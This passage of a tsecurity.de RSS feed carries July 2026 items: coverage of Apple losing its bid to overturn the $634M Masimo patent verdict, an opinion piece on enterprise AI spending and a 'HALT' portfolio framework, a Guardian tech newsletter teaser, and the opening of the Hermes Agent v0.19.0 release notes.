The dispute began in 2020, when Masimo accuse...]]></description>
<link>https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/</guid>
<pubDate>Wed, 22 Jul 2026 09:39:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has failed to overturn a $634 million patent verdict in its legal battle with medical technology company Masimo, after a California federal judge rejected the company’s request for judgment in its favour and denied its demand for a new trial.



The dispute began in 2020, when Masimo accused Apple of using its trade secrets and infringing patents linked to pulse oximetry and optical health-monitoring technology. The wider conflict later led to a US import ban on Apple Watch models that included blood oxygen monitoring, forcing Apple to disable the feature before resuming sales.



In November 2025, a jury found that Apple Watch heart-rate monitoring and notification features infringed a Masimo patent and ordered Apple to pay $634 million in damages. Apple challenged the verdict by arguing that the Apple Watch did not qualify as a “patient monitor” under the wording of the patent.



Judge Rejects Apple’s Arguments



Law360 reported that US District Judge James V. Selna rejected Apple’s interpretation and agreed with the jury that the Apple Watch could fall within the broader meaning of a patient-monitoring device.



The judge also dismissed Apple’s objections to the jury instructions and the exclusion of testimony from one of its experts, finding no serious legal errors that justified another trial.



Apple referred to an earlier statement and confirmed that it plans to appeal the decision.




“The single patent in this case expired in 2022, and is specific to historic patient monitoring technology from decades ago. We plan to appeal,” Apple said.




The ruling leaves the $634 million damages award in place while Apple prepares its next legal challenge.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's $634M payment to Masimo now set in stone after Judge tosses appeal]]></title>
<description><![CDATA[The Masimo trial ultimately failed to get a permanent ban on Apple Watch sales or use of the blood oxygen sensor, but the final verdict will have Apple pay $634M to Masimo's new owner Danaher after the appeal was rejected.Apple Watch blood oxygen detection is safe from the patent lawsuitApple Wat...]]></description>
<link>https://tsecurity.de/de/3684886/ios-mac-os/apples-634m-payment-to-masimo-now-set-in-stone-after-judge-tosses-appeal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684886/ios-mac-os/apples-634m-payment-to-masimo-now-set-in-stone-after-judge-tosses-appeal/</guid>
<pubDate>Tue, 21 Jul 2026 23:35:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Masimo trial ultimately failed to get a permanent ban on <a href="https://appleinsider.com/inside/apple-watch" title="Apple Watch" data-kpt="1">Apple Watch</a> sales or use of the blood oxygen sensor, but the final verdict will have Apple pay $634M to Masimo's new owner Danaher after the appeal was rejected.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68319-144015-Series-11-back-xl.jpg" alt="Close-up of the back of an Apple Watch with heart-rate sensors and text around the case, held by a hand, attached to a perforated light-colored sport band" height="738"><br><span>Apple Watch blood oxygen detection is safe from the patent lawsuit</span></div><br>Apple Watch users have been able to take advantage of the blood oxygen sensor in Apple Watch since a software update in <a href="https://appleinsider.com/articles/24/01/15/us-customs-say-apple-watch-changes-are-enough-to-beat-itc-ban">January 2024</a> successfully bypassed a <a href="https://appleinsider.com/articles/23/12/26/united-states-apple-watch-import-ban-has-begun-with-no-resolution-in-sight">sales ban</a>. Masimo's attempts to <a href="https://appleinsider.com/articles/26/03/19/masimo-wins-hollow-victory-over-apple-watchs-blood-oxygen-sensors">reinstate a ban</a> failed, and all that was left in the case for Apple to <a href="https://appleinsider.com/articles/25/11/15/masimo-awarded-634m-in-apple-watch-patent-infringement-verdict">pay a fine</a>.<br><br>Apple appealed the merits of the jury's findings based on the definition of a "patient monitor." <a href="https://www.law360.com/articles/2503506/apple-can-t-get-judge-to-toss-masimo-s-634m-patent-verdict">According to</a> a report from <em>Law360</em>, U.S. District Judge James V. Selna turned down Apple's request.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/apples-634m-payment-to-masimo-now-set-in-stone-after-judge-tosses-appeal?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245017?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Headaches for Silicon Valley as China chips away at the US’s lead in the AI race]]></title>
<description><![CDATA[Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into questionHello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how Ch...]]></description>
<link>https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</guid>
<pubDate>Tue, 21 Jul 2026 14:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into question</p><p>Hello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how China is chipping away at the US’s lead in the AI race and how Silicon Valley’s workers are taking action to protect their jobs from AI.</p><p><a href="https://www.theguardian.com/us-news/2026/jul/14/new-york-moratorium-ai-datacenters">New York becomes first state to impose one-year pause on new AI datacenters</a></p><p><a href="https://www.theguardian.com/us-news/2026/jul/15/trump-new-york-datacenter-moratorium">Trump rails against New York’s statewide datacenter moratorium</a></p><p><a href="https://www.theguardian.com/australia-news/2026/jul/16/albaneses-ai-blueprint-sparks-calls-for-datacentre-moratorium-until-new-regulations-in-place">Albanese’s AI blueprint sparks calls for datacentre moratorium until new regulations in place</a></p><p><a href="https://www.theguardian.com/fashion/2026/jul/17/adversarial-clothing-are-garments-designed-to-confuse-facial-recognition-systems-about-to-go-mainstream">‘Adversarial clothing’: are garments designed to confuse facial recognition systems about to go mainstream?</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/14/ibm-shares-profit-drop-value">IBM loses quarter of its value as tech giant’s shares plunge and profits falter</a></p><p><a href="https://www.theguardian.com/media/2026/jul/15/teenagers-verdic-britain-social-media-curfew-ban-whats-the-point">‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/17/amazon-web-services-customers-trillion-dollar-bills-global-glitch">Amazon Web Services customers receive bills for up to $1.5tn after global glitch</a></p><p><a href="https://www.theguardian.com/technology/ng-interactive/2026/jul/16/justin-sun-trump-family-crypto">Trump made $1.4bn from crypto in one year. Is Justin Sun the man who helped him do it?</a></p> <a href="https://www.theguardian.com/technology/2026/jul/20/china-google-ai-race">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
